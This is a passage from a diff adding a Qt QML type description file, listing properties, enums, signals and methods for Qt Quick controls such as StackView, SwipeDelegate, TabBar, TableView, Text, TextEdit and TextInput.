name: "resizing"; type: "bool"; isReadonly: true } + Property { name: "handle"; type: "QQmlComponent"; isPointer: true } + Method { name: "saveState"; type: "QVariant" } + Method { + name: "restoreState" + type: "bool" + Parameter { name: "state"; type: "QVariant" } + } + } + Component { + name: "QQuickSplitViewAttached" + prototype: "QObject" + Property { name: "view"; type: "QQuickSplitView"; isReadonly: true; isPointer: true } + Property { name: "minimumWidth"; type: "double" } + Property { name: "minimumHeight"; type: "double" } + Property { name: "preferredWidth"; type: "double" } + Property { name: "preferredHeight"; type: "double" } + Property { name: "maximumWidth"; type: "double" } + Property { name: "maximumHeight"; type: "double" } + Property { name: "fillHeight"; type: "bool" } + Property { name: "fillWidth"; type: "bool" } + } + Component { + name: "QQuickStackView" + defaultProperty: "data" + prototype: "QQuickControl" + exports: [ + "QtQuick.Templates/StackView 2.0", + "QtQuick.Templates/StackView 2.1" + ] + exportMetaObjectRevisions: [0, 1] + attachedType: "QQuickStackViewAttached" + Enum { + name: "Status" + values: { + "Inactive": 0, + "Deactivating": 1, + "Activating": 2, + "Active": 3 + } + } + Enum { + name: "LoadBehavior" + values: { + "DontLoad": 0, + "ForceLoad": 1 + } + } + Enum { + name: "Operation" + values: { + "Transition": -1, + "Immediate": 0, + "PushTransition": 1, + "ReplaceTransition": 2, + "PopTransition": 3 + } + } + Property { name: "busy"; type: "bool"; isReadonly: true } + Property { name: "depth"; type: "int"; isReadonly: true } + Property { name: "currentItem"; type: "QQuickItem"; isReadonly: true; isPointer: true } + Property { name: "initialItem"; type: "QJSValue" } + Property { name: "popEnter"; type: "QQuickTransition"; isPointer: true } + Property { name: "popExit"; type: "QQuickTransition"; isPointer: true } + Property { name: "pushEnter"; type: "QQuickTransition"; isPointer: true } + Property { name: "pushExit"; type: "QQuickTransition"; isPointer: true } + Property { name: "replaceEnter"; type: "QQuickTransition"; isPointer: true } + Property { name: "replaceExit"; type: "QQuickTransition"; isPointer: true } + Property { name: "empty"; revision: 3; type: "bool"; isReadonly: true } + Signal { name: "emptyChanged"; revision: 3 } + Method { + name: "clear" + Parameter { name: "operation"; type: "Operation" } + } + Method { name: "clear" } + Method { + name: "get" + type: "QQuickItem*" + Parameter { name: "index"; type: "int" } + Parameter { name: "behavior"; type: "LoadBehavior" } + } + Method { + name: "get" + type: "QQuickItem*" + Parameter { name: "index"; type: "int" } + } + Method { + name: "find" + type: "QQuickItem*" + Parameter { name: "callback"; type: "QJSValue" } + Parameter { name: "behavior"; type: "LoadBehavior" } + } + Method { + name: "find" + type: "QQuickItem*" + Parameter { name: "callback"; type: "QJSValue" } + } + Method { + name: "push" + Parameter { name: "args"; type: "QQmlV4Function"; isPointer: true } + } + Method { + name: "pop" + Parameter { name: "args"; type: "QQmlV4Function"; isPointer: true } + } + Method { + name: "replace" + Parameter { name: "args"; type: "QQmlV4Function"; isPointer: true } + } + } + Component { + name: "QQuickStackViewAttached" + prototype: "QObject" + Property { name: "index"; type: "int"; isReadonly: true } + Property { name: "view"; type: "QQuickStackView"; isReadonly: true; isPointer: true } + Property { name: "status"; type: "QQuickStackView::Status"; isReadonly: true } + Property { name: "visible"; type: "bool" } + Signal { name: "activated" } + Signal { name: "activating" } + Signal { name: "deactivated" } + Signal { name: "deactivating" } + Signal { name: "removed" } + } + Component { + name: "QQuickSwipe" + prototype: "QObject" + Property { name: "position"; type: "double" } + Property { name: "complete"; type: "bool"; isReadonly: true } + Property { name: "left"; type: "QQmlComponent"; isPointer: true } + Property { name: "behind"; type: "QQmlComponent"; isPointer: true } + Property { name: "right"; type: "QQmlComponent"; isPointer: true } + Property { name: "leftItem"; type: "QQuickItem"; isReadonly: true; isPointer: true } + Property { name: "behindItem"; type: "QQuickItem"; isReadonly: true; isPointer: true } + Property { name: "rightItem"; type: "QQuickItem"; isReadonly: true; isPointer: true } + Property { name: "enabled"; type: "bool" } + Property { name: "transition"; type: "QQuickTransition"; isPointer: true } + Signal { name: "completed" } + Signal { name: "opened" } + Signal { name: "closed" } + Method { name: "close"; revision: 1 } + Method { + name: "open" + revision: 2 + Parameter { name: "side"; type: "QQuickSwipeDelegate::Side" } + } + } + Component { + name: "QQuickSwipeDelegate" + defaultProperty: "data" + prototype: "QQuickItemDelegate" + exports: [ + "QtQuick.Templates/SwipeDelegate 2.0", + "QtQuick.Templates/SwipeDelegate 2.1", + "QtQuick.Templates/SwipeDelegate 2.2" + ] + exportMetaObjectRevisions: [0, 1, 2] + attachedType: "QQuickSwipeDelegateAttached" + Enum { + name: "Side" + values: { + "Left": 1, + "Right": -1 + } + } + Property { name: "swipe"; type: "QQuickSwipe"; isReadonly: true; isPointer: true } + } + Component { + name: "QQuickSwipeDelegateAttached" + prototype: "QObject" + Property { name: "pressed"; type: "bool"; isReadonly: true } + Signal { name: "clicked" } + } + Component { + name: "QQuickSwipeView" + defaultProperty: "contentData" + prototype: "QQuickContainer" + exports: [ + "QtQuick.Templates/SwipeView 2.0", + "QtQuick.Templates/SwipeView 2.1", + "QtQuick.Templates/SwipeView 2.2" + ] + exportMetaObjectRevisions: [0, 1, 2] + attachedType: "QQuickSwipeViewAttached" + Property { name: "interactive"; revision: 1; type: "bool" } + Property { name: "orientation"; revision: 2; type: "Qt::Orientation" } + Property { name: "horizontal"; revision: 3; type: "bool"; isReadonly: true } + Property { name: "vertical"; revision: 3; type: "bool"; isReadonly: true } + Signal { name: "interactiveChanged"; revision: 1 } + Signal { name: "orientationChanged"; revision: 2 } + } + Component { + name: "QQuickSwipeViewAttached" + prototype: "QObject" + Property { name: "index"; type: "int"; isReadonly: true } + Property { name: "isCurrentItem"; type: "bool"; isReadonly: true } + Property { name: "view"; type: "QQuickSwipeView"; isReadonly: true; isPointer: true } + Property { name: "isNextItem"; revision: 1; type: "bool"; isReadonly: true } + Property { name: "isPreviousItem"; revision: 1; type: "bool"; isReadonly: true } + } + Component { + name: "QQuickSwitch" + defaultProperty: "data" + prototype: "QQuickAbstractButton" + exports: ["QtQuick.Templates/Switch 2.0"] + exportMetaObjectRevisions: [0] + Property { name: "position"; type: "double" } + Property { name: "visualPosition"; type: "double"; isReadonly: true } + } + Component { + name: "QQuickSwitchDelegate" + defaultProperty: "data" + prototype: "QQuickItemDelegate" + exports: ["QtQuick.Templates/SwitchDelegate 2.0"] + exportMetaObjectRevisions: [0] + Property { name: "position"; type: "double" } + Property { name: "visualPosition"; type: "double"; isReadonly: true } + } + Component { + name: "QQuickTabBar" + defaultProperty: "contentData" + prototype: "QQuickContainer" + exports: [ + "QtQuick.Templates/TabBar 2.0", + "QtQuick.Templates/TabBar 2.2" + ] + exportMetaObjectRevisions: [0, 2] + attachedType: "QQuickTabBarAttached" + Enum { + name: "Position" + values: { + "Header": 0, + "Footer": 1 + } + } + Property { name: "position"; type: "Position" } + Property { name: "contentWidth"; revision: 2; type: "double" } + Property { name: "contentHeight"; revision: 2; type: "double" } + } + Component { + name: "QQuickTabBarAttached" + prototype: "QObject" + Property { name: "index"; type: "int"; isReadonly: true } + Property { name: "tabBar"; type: "QQuickTabBar"; isReadonly: true; isPointer: true } + Property { name: "position"; type: "QQuickTabBar::Position"; isReadonly: true } + } + Component { + name: "QQuickTabButton" + defaultProperty: "data" + prototype: "QQuickAbstractButton" + exports: ["QtQuick.Templates/TabButton 2.0"] + exportMetaObjectRevisions: [0] + } + Component { + name: "QQuickTableView" + defaultProperty: "flickableData" + prototype: "QQuickFlickable" + exports: ["QtQuick.Templates/__TableView__ 2.15"] + exportMetaObjectRevisions: [15] + attachedType: "QQuickTableViewAttached" + Property { name: "rows"; type: "int"; isReadonly: true } + Property { name: "columns"; type: "int"; isReadonly: true } + Property { name: "rowSpacing"; type: "double" } + Property { name: "columnSpacing"; type: "double" } + Property { name: "rowHeightProvider"; type: "QJSValue" } + Property { name: "columnWidthProvider"; type: "QJSValue" } + Property { name: "model"; type: "QVariant" } + Property { name: "delegate"; type: "QQmlComponent"; isPointer: true } + Property { name: "reuseItems"; type: "bool" } + Property { name: "contentWidth"; type: "double" } + Property { name: "contentHeight"; type: "double" } + Property { name: "syncView"; revision: 14; type: "QQuickTableView"; isPointer: true } + Property { name: "syncDirection"; revision: 14; type: "Qt::Orientations" } + Signal { name: "syncViewChanged"; revision: 14 } + Signal { name: "syncDirectionChanged"; revision: 14 } + Method { name: "forceLayout" } + } + Component { + name: "QQuickTableViewAttached" + prototype: "QObject" + Property { name: "view"; type: "QQuickTableView"; isReadonly: true; isPointer: true } + Signal { name: "pooled" } + Signal { name: "reused" } + } + Component { + name: "QQuickText" + defaultProperty: "data" + prototype: "QQuickImplicitSizeItem" + Enum { + name: "HAlignment" + values: { + "AlignLeft": 1, + "AlignRight": 2, + "AlignHCenter": 4, + "AlignJustify": 8 + } + } + Enum { + name: "VAlignment" + values: { + "AlignTop": 32, + "AlignBottom": 64, + "AlignVCenter": 128 + } + } + Enum { + name: "TextStyle" + values: { + "Normal": 0, + "Outline": 1, + "Raised": 2, + "Sunken": 3 + } + } + Enum { + name: "TextFormat" + values: { + "PlainText": 0, + "RichText": 1, + "MarkdownText": 3, + "AutoText": 2, + "StyledText": 4 + } + } + Enum { + name: "TextElideMode" + values: { + "ElideLeft": 0, + "ElideRight": 1, + "ElideMiddle": 2, + "ElideNone": 3 + } + } + Enum { + name: "WrapMode" + values: { + "NoWrap": 0, + "WordWrap": 1, + "WrapAnywhere": 3, + "WrapAtWordBoundaryOrAnywhere": 4, + "Wrap": 4 + } + } + Enum { + name: "RenderType" + values: { + "QtRendering": 0, + "NativeRendering": 1 + } + } + Enum { + name: "LineHeightMode" + values: { + "ProportionalHeight": 0, + "FixedHeight": 1 + } + } + Enum { + name: "FontSizeMode" + values: { + "FixedSize": 0, + "HorizontalFit": 1, + "VerticalFit": 2, + "Fit": 3 + } + } + Property { name: "text"; type: "string" } + Property { name: "font"; type: "QFont" } + Property { name: "color"; type: "QColor" } + Property { name: "linkColor"; type: "QColor" } + Property { name: "style"; type: "TextStyle" } + Property { name: "styleColor"; type: "QColor" } + Property { name: "horizontalAlignment"; type: "HAlignment" } + Property { name: "effectiveHorizontalAlignment"; type: "HAlignment"; isReadonly: true } + Property { name: "verticalAlignment"; type: "VAlignment" } + Property { name: "wrapMode"; type: "WrapMode" } + Property { name: "lineCount"; type: "int"; isReadonly: true } + Property { name: "truncated"; type: "bool"; isReadonly: true } + Property { name: "maximumLineCount"; type: "int" } + Property { name: "textFormat"; type: "TextFormat" } + Property { name: "elide"; type: "TextElideMode" } + Property { name: "contentWidth"; type: "double"; isReadonly: true } + Property { name: "contentHeight"; type: "double"; isReadonly: true } + Property { name: "paintedWidth"; type: "double"; isReadonly: true } + Property { name: "paintedHeight"; type: "double"; isReadonly: true } + Property { name: "lineHeight"; type: "double" } + Property { name: "lineHeightMode"; type: "LineHeightMode" } + Property { name: "baseUrl"; type: "QUrl" } + Property { name: "minimumPixelSize"; type: "int" } + Property { name: "minimumPointSize"; type: "int" } + Property { name: "fontSizeMode"; type: "FontSizeMode" } + Property { name: "renderType"; type: "RenderType" } + Property { name: "hoveredLink"; revision: 2; type: "string"; isReadonly: true } + Property { name: "padding"; revision: 6; type: "double" } + Property { name: "topPadding"; revision: 6; type: "double" } + Property { name: "leftPadding"; revision: 6; type: "double" } + Property { name: "rightPadding"; revision: 6; type: "double" } + Property { name: "bottomPadding"; revision: 6; type: "double" } + Property { name: "fontInfo"; revision: 9; type: "QJSValue"; isReadonly: true } + Property { name: "advance"; revision: 10; type: "QSizeF"; isReadonly: true } + Signal { + name: "textChanged" + Parameter { name: "text"; type: "string" } + } + Signal { + name: "linkActivated" + Parameter { name: "link"; type: "string" } + } + Signal { + name: "linkHovered" + revision: 2 + Parameter { name: "link"; type: "string" } + } + Signal { + name: "fontChanged" + Parameter { name: "font"; type: "QFont" } + } + Signal { + name: "styleChanged" + Parameter { name: "style"; type: "QQuickText::TextStyle" } + } + Signal { + name: "horizontalAlignmentChanged" + Parameter { name: "alignment"; type: "QQuickText::HAlignment" } + } + Signal { + name: "verticalAlignmentChanged" + Parameter { name: "alignment"; type: "QQuickText::VAlignment" } + } + Signal { + name: "textFormatChanged" + Parameter { name: "textFormat"; type: "QQuickText::TextFormat" } + } + Signal { + name: "elideModeChanged" + Parameter { name: "mode"; type: "QQuickText::TextElideMode" } + } + Signal { name: "contentSizeChanged" } + Signal { + name: "contentWidthChanged" + Parameter { name: "contentWidth"; type: "double" } + } + Signal { + name: "contentHeightChanged" + Parameter { name: "contentHeight"; type: "double" } + } + Signal { + name: "lineHeightChanged" + Parameter { name: "lineHeight"; type: "double" } + } + Signal { + name: "lineHeightModeChanged" + Parameter { name: "mode"; type: "LineHeightMode" } + } + Signal { + name: "lineLaidOut" + Parameter { name: "line"; type: "QQuickTextLine"; isPointer: true } + } + Signal { name: "paddingChanged"; revision: 6 } + Signal { name: "topPaddingChanged"; revision: 6 } + Signal { name: "leftPaddingChanged"; revision: 6 } + Signal { name: "rightPaddingChanged"; revision: 6 } + Signal { name: "bottomPaddingChanged"; revision: 6 } + Signal { name: "fontInfoChanged"; revision: 9 } + Method { name: "doLayout" } + Method { name: "forceLayout"; revision: 9 } + Method { + name: "linkAt" + revision: 3 + type: "string" + Parameter { name: "x"; type: "double" } + Parameter { name: "y"; type: "double" } + } + } + Component { + name: "QQuickTextArea" + defaultProperty: "data" + prototype: "QQuickTextEdit" + exports: [ + "QtQuick.Templates/TextArea 2.0", + "QtQuick.Templates/TextArea 2.1", + "QtQuick.Templates/TextArea 2.3", + "QtQuick.Templates/TextArea 2.5" + ] + exportMetaObjectRevisions: [0, 1, 3, 5] + attachedType: "QQuickTextAreaAttached" + Property { name: "font"; type: "QFont" } + Property { name: "implicitWidth"; type: "double" } + Property { name: "implicitHeight"; type: "double" } + Property { name: "background"; type: "QQuickItem"; isPointer: true } + Property { name: "placeholderText"; type: "string" } + Property { name: "focusReason"; type: "Qt::FocusReason" } + Property { name: "hovered"; revision: 1; type: "bool"; isReadonly: true } + Property { name: "hoverEnabled"; revision: 1; type: "bool" } + Property { name: "palette"; revision: 3; type: "QPalette" } + Property { name: "placeholderTextColor"; revision: 5; type: "QColor" } + Property { name: "implicitBackgroundWidth"; revision: 5; type: "double"; isReadonly: true } + Property { name: "implicitBackgroundHeight"; revision: 5; type: "double"; isReadonly: true } + Property { name: "topInset"; revision: 5; type: "double" } + Property { name: "leftInset"; revision: 5; type: "double" } + Property { name: "rightInset"; revision: 5; type: "double" } + Property { name: "bottomInset"; revision: 5; type: "double" } + Signal { name: "implicitWidthChanged3" } + Signal { name: "implicitHeightChanged3" } + Signal { + name: "pressAndHold" + Parameter { name: "event"; type: "QQuickMouseEvent"; isPointer: true } + } + Signal { + name: "pressed" + revision: 1 + Parameter { name: "event"; type: "QQuickMouseEvent"; isPointer: true } + } + Signal { + name: "released" + revision: 1 + Parameter { name: "event"; type: "QQuickMouseEvent"; isPointer: true } + } + Signal { name: "hoveredChanged"; revision: 1 } + Signal { name: "hoverEnabledChanged"; revision: 1 } + Signal { name: "paletteChanged"; revision: 3 } + Signal { name: "placeholderTextColorChanged"; revision: 5 } + Signal { name: "implicitBackgroundWidthChanged"; revision: 5 } + Signal { name: "implicitBackgroundHeightChanged"; revision: 5 } + Signal { name: "topInsetChanged"; revision: 5 } + Signal { name: "leftInsetChanged"; revision: 5 } + Signal { name: "rightInsetChanged"; revision: 5 } + Signal { name: "bottomInsetChanged"; revision: 5 } + } + Component { + name: "QQuickTextAreaAttached" + prototype: "QObject" + Property { name: "flickable"; type: "QQuickTextArea"; isPointer: true } + } + Component { + name: "QQuickTextEdit" + defaultProperty: "data" + prototype: "QQuickImplicitSizeItem" + Enum { + name: "HAlignment" + values: { + "AlignLeft": 1, + "AlignRight": 2, + "AlignHCenter": 4, + "AlignJustify": 8 + } + } + Enum { + name: "VAlignment" + values: { + "AlignTop": 32, + "AlignBottom": 64, + "AlignVCenter": 128 + } + } + Enum { + name: "TextFormat" + values: { + "PlainText": 0, + "RichText": 1, + "AutoText": 2, + "MarkdownText": 3 + } + } + Enum { + name: "WrapMode" + values: { + "NoWrap": 0, + "WordWrap": 1, + "WrapAnywhere": 3, + "WrapAtWordBoundaryOrAnywhere": 4, + "Wrap": 4 + } + } + Enum { + name: "SelectionMode" + values: { + "SelectCharacters": 0, + "SelectWords": 1 + } + } + Enum { + name: "RenderType" + values: { + "QtRendering": 0, + "NativeRendering": 1 + } + } + Property { name: "text"; type: "string" } + Property { name: "color"; type: "QColor" } + Property { name: "selectionColor"; type: "QColor" } + Property { name: "selectedTextColor"; type: "QColor" } + Property { name: "font"; type: "QFont" } + Property { name: "horizontalAlignment"; type: "HAlignment" } + Property { name: "effectiveHorizontalAlignment"; type: "HAlignment"; isReadonly: true } + Property { name: "verticalAlignment"; type: "VAlignment" } + Property { name: "wrapMode"; type: "WrapMode" } + Property { name: "lineCount"; type: "int"; isReadonly: true } + Property { name: "length"; type: "int"; isReadonly: true } + Property { name: "contentWidth"; type: "double"; isReadonly: true } + Property { name: "contentHeight"; type: "double"; isReadonly: true } + Property { name: "paintedWidth"; type: "double"; isReadonly: true } + Property { name: "paintedHeight"; type: "double"; isReadonly: true } + Property { name: "textFormat"; type: "TextFormat" } + Property { name: "readOnly"; type: "bool" } + Property { name: "cursorVisible"; type: "bool" } + Property { name: "cursorPosition"; type: "int" } + Property { name: "cursorRectangle"; type: "QRectF"; isReadonly: true } + Property { name: "cursorDelegate"; type: "QQmlComponent"; isPointer: true } + Property { name: "overwriteMode"; type: "bool" } + Property { name: "selectionStart"; type: "int"; isReadonly: true } + Property { name: "selectionEnd"; type: "int"; isReadonly: true } + Property { name: "selectedText"; type: "string"; isReadonly: true } + Property { name: "activeFocusOnPress"; type: "bool" } + Property { name: "persistentSelection"; type: "bool" } + Property { name: "textMargin"; type: "double" } + Property { name: "inputMethodHints"; type: "Qt::InputMethodHints" } + Property { name: "selectByKeyboard"; revision: 1; type: "bool" } + Property { name: "selectByMouse"; type: "bool" } + Property { name: "mouseSelectionMode"; type: "SelectionMode" } + Property { name: "canPaste"; type: "bool"; isReadonly: true } + Property { name: "canUndo"; type: "bool"; isReadonly: true } + Property { name: "canRedo"; type: "bool"; isReadonly: true } + Property { name: "inputMethodComposing"; type: "bool"; isReadonly: true } + Property { name: "baseUrl"; type: "QUrl" } + Property { name: "renderType"; type: "RenderType" } + Property { + name: "textDocument" + revision: 1 + type: "QQuickTextDocument" + isReadonly: true + isPointer: true + } + Property { name: "hoveredLink"; revision: 2; type: "string"; isReadonly: true } + Property { name: "padding"; revision: 6; type: "double" } + Property { name: "topPadding"; revision: 6; type: "double" } + Property { name: "leftPadding"; revision: 6; type: "double" } + Property { name: "rightPadding"; revision: 6; type: "double" } + Property { name: "bottomPadding"; revision: 6; type: "double" } + Property { name: "preeditText"; revision: 7; type: "string"; isReadonly: true } + Property { name: "tabStopDistance"; revision: 10; type: "double" } + Signal { name: "preeditTextChanged"; revision: 7 } + Signal { name: "contentSizeChanged" } + Signal { + name: "colorChanged" + Parameter { name: "color"; type: "QColor" } + } + Signal { + name: "selectionColorChanged" + Parameter { name: "color"; type: "QColor" } + } + Signal { + name: "selectedTextColorChanged" + Parameter { name: "color"; type: "QColor" } + } + Signal { + name: "fontChanged" + Parameter { name: "font"; type: "QFont" } + } + Signal { + name: "horizontalAlignmentChanged" + Parameter { name: "alignment"; type: "QQuickTextEdit::HAlignment" } + } + Signal { + name: "verticalAlignmentChanged" + Parameter { name: "alignment"; type: "QQuickTextEdit::VAlignment" } + } + Signal { + name: "textFormatChanged" + Parameter { name: "textFormat"; type: "QQuickTextEdit::TextFormat" } + } + Signal { + name: "readOnlyChanged" + Parameter { name: "isReadOnly"; type: "bool" } + } + Signal { + name: "cursorVisibleChanged" + Parameter { name: "isCursorVisible"; type: "bool" } + } + Signal { + name: "overwriteModeChanged" + Parameter { name: "overwriteMode"; type: "bool" } + } + Signal { + name: "activeFocusOnPressChanged" + Parameter { name: "activeFocusOnPressed"; type: "bool" } + } + Signal { + name: "persistentSelectionChanged" + Parameter { name: "isPersistentSelection"; type: "bool" } + } + Signal { + name: "textMarginChanged" + Parameter { name: "textMargin"; type: "double" } + } + Signal { + name: "selectByKeyboardChanged" + revision: 1 + Parameter { name: "selectByKeyboard"; type: "bool" } + } + Signal { + name: "selectByMouseChanged" + Parameter { name: "selectByMouse"; type: "bool" } + } + Signal { + name: "mouseSelectionModeChanged" + Parameter { name: "mode"; type: "QQuickTextEdit::SelectionMode" } + } + Signal { + name: "linkActivated" + Parameter { name: "link"; type: "string" } + } + Signal { + name: "linkHovered" + revision: 2 + Parameter { name: "link"; type: "string" } + } + Signal { name: "editingFinished"; revision: 6 } + Signal { name: "paddingChanged"; revision: 6 } + Signal { name: "topPaddingChanged"; revision: 6 } + Signal { name: "leftPaddingChanged"; revision: 6 } + Signal { name: "rightPaddingChanged"; revision: 6 } + Signal { name: "bottomPaddingChanged"; revision: 6 } + Signal { + name: "tabStopDistanceChanged" + revision: 10 + Parameter { name: "distance"; type: "double" } + } + Method { name: "selectAll" } + Method { name: "selectWord" } + Method { + name: "select" + Parameter { name: "start"; type: "int" } + Parameter { name: "end"; type: "int" } + } + Method { name: "deselect" } + Method { + name: "isRightToLeft" + type: "bool" + Parameter { name: "start"; type: "int" } + Parameter { name: "end"; type: "int" } + } + Method { name: "cut" } + Method { name: "copy" } + Method { name: "paste" } + Method { name: "undo" } + Method { name: "redo" } + Method { + name: "insert" + Parameter { name: "position"; type: "int" } + Parameter { name: "text"; type: "string" } + } + Method { + name: "remove" + Parameter { name: "start"; type: "int" } + Parameter { name: "end"; type: "int" } + } + Method { + name: "append" + revision: 2 + Parameter { name: "text"; type: "string" } + } + Method { name: "clear"; revision: 7 } + Method { + name: "inputMethodQuery" + revision: 4 + type: "QVariant" + Parameter { name: "query"; type: "Qt::InputMethodQuery" } + Parameter { name: "argument"; type: "QVariant" } + } + Method { + name: "positionToRectangle" + type: "QRectF" + Parameter { type: "int" } + } + Method { + name: "positionAt" + type: "int" + Parameter { name: "x"; type: "double" } + Parameter { name: "y"; type: "double" } + } + Method { + name: "moveCursorSelection" + Parameter { name: "pos"; type: "int" } + } + Method { + name: "moveCursorSelection" + Parameter { name: "pos"; type: "int" } + Parameter { name: "mode"; type: "SelectionMode" } + } + Method { + name: "getText" + type: "string" + Parameter { name: "start"; type: "int" } + Parameter { name: "end"; type: "int" } + } + Method { + name: "getFormattedText" + type: "string" + Parameter { name: "start"; type: "int" } + Parameter { name: "end"; type: "int" } + } + Method { + name: "linkAt" + revision: 3 + type: "string" + Parameter { name: "x"; type: "double" } + Parameter { name: "y"; type: "double" } + } + } + Component { + name: "QQuickTextField" + defaultProperty: "data" + prototype: "QQuickTextInput" + exports: [ + "QtQuick.Templates/TextField 2.0", + "QtQuick.Templates/TextField 2.1", + "QtQuick.Templates/TextField 2.3", + "QtQuick.Templates/TextField 2.5" + ] + exportMetaObjectRevisions: [0, 1, 3, 5] + Property { name: "font"; type: "QFont" } + Property { name: "implicitWidth"; type: "double" } + Property { name: "implicitHeight"; type: "double" } + Property { name: "background"; type: "QQuickItem"; isPointer: true } + Property { name: "placeholderText"; type: "string" } + Property { name: "focusReason"; type: "Qt::FocusReason" } + Property { name: "hovered"; revision: 1; type: "bool"; isReadonly: true } + Property { name: "hoverEnabled"; revision: 1; type: "bool" } + Property { name: "palette"; revision: 3; type: "QPalette" } + Property { name: "placeholderTextColor"; revision: 5; type: "QColor" } + Property { name: "implicitBackgroundWidth"; revision: 5; type: "double"; isReadonly: true } + Property { name: "implicitBackgroundHeight"; revision: 5; type: "double"; isReadonly: true } + Property { name: "topInset"; revision: 5; type: "double" } + Property { name: "leftInset"; revision: 5; type: "double" } + Property { name: "rightInset"; revision: 5; type: "double" } + Property { name: "bottomInset"; revision: 5; type: "double" } + Signal { name: "implicitWidthChanged3" } + Signal { name: "implicitHeightChanged3" } + Signal { + name: "pressAndHold" + Parameter { name: "event"; type: "QQuickMouseEvent"; isPointer: true } + } + Signal { + name: "pressed" + revision: 1 + Parameter { name: "event"; type: "QQuickMouseEvent"; isPointer: true } + } + Signal { + name: "released" + revision: 1 + Parameter { name: "event"; type: "QQuickMouseEvent"; isPointer: true } + } + Signal { name: "hoveredChanged"; revision: 1 } + Signal { name: "hoverEnabledChanged"; revision: 1 } + Signal { name: "paletteChanged"; revision: 3 } + Signal { name: "placeholderTextColorChanged"; revision: 5 } + Signal { name: "implicitBackgroundWidthChanged"; revision: 5 } + Signal { name: "implicitBackgroundHeightChanged"; revision: 5 } + Signal { name: "topInsetChanged"; revision: 5 } + Signal { name: "leftInsetChanged"; revision: 5 } + Signal { name: "rightInsetChanged"; revision: 5 } + Signal { name: "bottomInsetChanged"; revision: 5 } + } + Component { + name: "QQuickTextInput" + defaultProperty: "data" + prototype: "QQuickImplicitSizeItem" + Enum { + name: "EchoMode" + values: { + "Normal": 0, + "NoEcho": 1, + "Password": 2, + "PasswordEchoOnEdit": 3 + } + } + Enum { + name: "HAlignment" + values: { + "AlignLeft": 1, + "AlignRight": 2, + "AlignHCenter": 4 + } + } + Enum { + name: "VAlignment" + values: { + "AlignTop": 32, + "AlignBottom": 64, + "AlignVCenter": 128 + } + } + Enum { + name: "WrapMode" + values: { + "NoWrap": 0, + "WordWrap": 1, + "WrapAnywhere": 3, + "WrapAtWordBoundaryOrAnywhere": 4, + "Wrap": 4 + } + } + Enum { + name: "SelectionMode" + values: { + "SelectCharacters": 0, + "SelectWords": 1 + } + } + Enum { + name: "CursorPosition" + values: { + "CursorBetweenCharacters": 0, + "CursorOnCharacter": 1 + } + } + Enum { + name: "RenderType" + values: { + "QtRendering": 0, + "NativeRendering": 1 + } + } + Property { name: "text"; type: "string" } + Property { name: "length"; type: "int"; isReadonly: true } + Property { name: "color"; type: "QColor" } + Property { name: "selectionColor"; type: "QColor" } + Property { name: "selectedTextColor"; type: "QColor" } + Property { name: "font"; type: "QFont" } + Property { name: "horizontalAlignment"; type: "HAlignment" } + Property { name: "effectiveHorizontalAlignment"; type: "HAlignment"; isReadonly: true } + Property { name: "verticalAlignment"; type: "VAlignment" } + Property { name: "wrapMode"; type: "WrapMode" } + Property { name: "readOnly"; type: "bool" } + Property { name: "cursorVisible"; type: "bool" } + Property { name: "cursorPosition"; type: "int" } + Property { name: "cursorRectangle"; type: "QRectF"; isReadonly: true } + Property { name: "cursorDelegate"; type: "QQmlComponent"; isPointer: true } + Property { name: "overwriteMode"; type: "bool" } + Property { name: "selectionStart"; type: "int"; isReadonly: true } + Property { name: "selectionEnd"; type: "int"; isReadonly: true } + Property { name: "selectedText"; type: "string"; isReadonly: true } + Property { name: "maximumLength"; type: "int" } + Property { name: "validator"; type: "QValidator"; isPointer: true } + Property { name: "inputMask"; type: "string" } + Property { name: "inputMethodHints"; type: "Qt::InputMethodHints" } + Property { name: "acceptableInput"; type: "bool"; isReadonly: true } + Property { name: "echoMode"; type: "EchoMode" } + Property { name: "activeFocusOnPress"; type: "bool" } + Property { name: "passwordCharacter"; type: "string" } + Property { name: "passwordMaskDelay"; revision: 4; type: "int" } + Property { name: "displayText"; type: "string"; isReadonly: true } + Property { name: "preeditText"; revision: 7; type: "string"; isReadonly: true } + Property { name: "autoScroll"; type: "bool" } + Property { name: "selectByMouse"; type: "bool" } + Property { name: "mouseSelectionMode"; type: "SelectionMode" } + Property { name: "persistentSelection"; type: "bool" } + Property { name: "canPaste"; type: "bool"; isReadonly: true } + Property { name: "canUndo"; type: "bool"; isReadonly: true } + Property { name: "canRedo"; type: "bool"; isReadonly: true } + Property { name: "inputMethodComposing"; type: "bool"; isReadonly: true } + Property { name: "contentWidth"; type: "double"; isReadonly: true } + Property { name: "contentHeight"; type: "double"; isReadonly: true } + Property { name: "renderType"; type: "RenderType" } + Property { name: "padding"; revision: 6; type: "double" } + Property { name: "topPadding"; revision: 6; type: "double" } + Property { name: "leftPadding"; revision: 6; type: "double" } + Property { name: "rightPadding"; revision: 6; type: "double" } + Property { name: "bottomPadding"; revision: 6; type: "double" } + Signal { name: "accepted" } + Signal { name: "editingFinished"; revision: 2 } + Signal { name: "textEdited"; revision: 9 } + Signal { + name: "fontChanged" + Parameter { name: "font"; type: "QFont" } + } + Signal { + name: "horizontalAlignmentChanged" + Parameter { name: "alignment"; type: "QQuickTextInput::HAlignment" } + } + Signal { + name: "verticalAlignmentChanged" + Parameter { name: "alignment"; type: "QQuickTextInput::VAlignment" } + } + Signal { + name: "readOnlyChanged" + Parameter { name: "isReadOnly"; type: "bool" } + } + Signal { + name: "cursorVisibleChanged" + Parameter { name: "isCursorVisible"; type: "bool" } + } + Signal { + name: "overwriteModeChanged" + Parameter { name: "overwriteMode"; type: "bool" } + } + Signal { + name: "maximumLengthChanged" + Parameter { name: "maximumLength"; type: "int" } + } + Signal { + name: "inputMaskChanged" + Parameter { name: "inputMask"; type: "string" } + } + Signal { + name: "echoModeChanged" + Parameter { name: "echoMode"; type: "QQuickTextInput::EchoMode" } + } + Signal { + name: "passwordMaskDelayChanged" + revision: 4 + Parameter { name: "delay"; type: "int" } + } + Signal { name: "preeditTextChanged"; revision: 7 } + Signal { + name: "activeFocusOnPressChanged" + Parameter { name: "activeFocusOnPress"; type: "bool" } + } + Signal { + name: "autoScrollChanged" + Parameter { name: "autoScroll"; type: "bool" } + } + Signal { + name: "selectByMouseChanged" + Parameter { name: "selectByMouse"; type: "bool" } + } + Signal { + name: "mouseSelectionModeChanged" + Parameter { name: "mode"; type: "QQuickTextInput::SelectionMode" } + } + Signal { name: "contentSizeChanged" } + Signal { name: "paddingChanged"; revision: 6 } + Signal { name: "topPaddingChanged"; revision: 6 } + Signal { name: "leftPaddingChanged"; revision: 6 } + Signal { name: "rightPaddingChanged"; revision: 6 } + Signal { name: 